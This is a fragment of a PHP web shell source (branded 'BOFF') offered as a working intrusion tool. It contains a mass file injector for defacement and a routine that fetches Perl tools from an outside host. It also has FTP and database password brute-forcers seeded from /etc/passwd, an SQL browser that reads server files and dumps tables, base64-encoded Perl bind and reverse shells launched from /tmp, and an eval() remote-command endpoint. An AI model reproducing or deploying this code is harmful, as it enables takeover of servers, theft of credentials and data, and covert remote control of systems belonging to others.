print "[+] File detected! ".$target."".$lfiprocenv."
";
}
else {
print "[!] Failed!".$target."".$lfiprocenv."
";
}
}
}
}
}
BOFFFooter();
}
function actionCpanel() {
BOFFHeader();
echo 'cPanel Cracker
';
echo '';
BOFFFooter();
}
function actionInjector(){
BOFFHeader();
echo 'Mass Code Injector
';
echo '';
if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
function get_structure($path,$depth) {
global $DS;
$res = array();
if(in_array(0, $depth)) { $res[] = $path; }
if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
$tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
}
if(in_array(2, $depth) or in_array(3, $depth)) {
$tmp2 = array();
foreach($tmp1 as $t){
$tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
$tmp2 = array_merge($tmp2, $tp2);
}
if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
}
if(in_array(3, $depth)) {
$tmp3 = array();
foreach($tmp2 as $t){
$tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
$tmp3 = array_merge($tmp3, $tp3);
}
$res = array_merge($res,$tmp3);
}
return $res;
}
if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
$name = $_POST['name'] ? $_POST['name'] : '*';
$type = $_POST['type'] ? $_POST['type'] : 'html';
$path = $_POST['path'] ? $_POST['path'] : getcwd();
$code = $_POST['code'] ? $_POST['code'] : 'Pakistan Haxors Crew';
$mode = $_POST['mode'] ? $_POST['mode'] : 'a';
$depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
$dt = get_structure($path,$depth);
foreach ($dt as $d) {
if($mode == 'a') {
if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
echo '
'.$d.$DS.$name.'.'.$type.' was injected
';
} else {
echo '
failed to inject '.$d.$DS.$name.'.'.$type.'
';
}
} else {
if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
echo '
'.$d.$DS.$name.'.'.$type.' was injected
';
} else {
echo '
failed to inject '.$d.$DS.$name.'.'.$type.'
';
}
}
}
} else {
echo '
';
}
echo '
Port Scanner
';
echo '';
echo '
';
}
echo '
';
BOFFFooter();
}
function actionPSymlink() {
BOFFHeader();
echo "";
$telnetfile = 'telnet213'; // Perl tools file
$link = "http://www.the-code.tk/phh"; // Tools source link (without slash '/' in end)
$perlfiles=array(".htaccess","users.gif","izo.gif","config.gif");
$name =basename( $_SERVER[ 'PHP_SELF' ] ); // Returns trailing name component of path.
$url0= "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$url= str_replace("$name", '', $url0);
// Style :
echo"- PERL TOOLS:
";
if (!file_exists($telnetfile))
{
@mkdir($telnetfile);
@chmod("$telnetfile", 0755);
}
if (file_exists($telnetfile))
{
foreach($perlfiles as $file){
$tool = fopen("$telnetfile/$file" ,"w+");
if (@eregi('htaccess', $file)) {
$file= str_replace(".", '', $file);
}
$toolcontents=@file_get_contents("$link/perl/$file.txt");
$write = fwrite ($tool ,$toolcontents);
fclose($tool);
if ($write) {
if (@eregi('htaccess', $file)) {
$file=".$file";
}
echo "The $file File Was Created Successfuly.==>$file
";
}
else {
echo"ERROR: Cannot Create $file File !!
";
}
@chmod("$telnetfile/$file" , 0755);
}
}
BOFFFooter();
}
function actionLogout() {
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo '
';
}
function actionSelfRemove() {
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
BOFFHeader();
echo 'Suicide
Really want to remove the shell?
YesResults
Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).'
';
if( $_POST['proto'] == 'ftp' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).'
';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo ''.htmlspecialchars($_POST['login']).':'.htmlspecialchars($line).'
';
}
}
}
echo "Attempts: $attempts Success: $success
";
}
echo 'FTP bruteforce
';
BOFFFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE BOFF2(file text);COPY BOFF2 FROM '".addslashes($str)."';select file from BOFF2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table BOFF2');
return array('file'=>implode("\n",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";\n";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
$head = false;
} else
$sql = "\n\t,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('');
}
BOFFHeader();
echo "
Sql browser
";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "
";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '
'.htmlspecialchars($file['file']).'
';
}
} else {
echo htmlspecialchars($db->error());
}
echo '
';
BOFFFooter();
}
function actionNetwork() {
BOFFHeader();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "Network tools
";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,@base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = BOFFEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
echo "
$out\n".BOFFEx("ps aux | grep bp.pl")."";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = BOFFEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
echo "
$out\n".BOFFEx("ps aux | grep bc.pl")."";
unlink("/tmp/bc.pl");
}
}
echo '
';
BOFFFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"BOFF_version" => BOFF_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
?>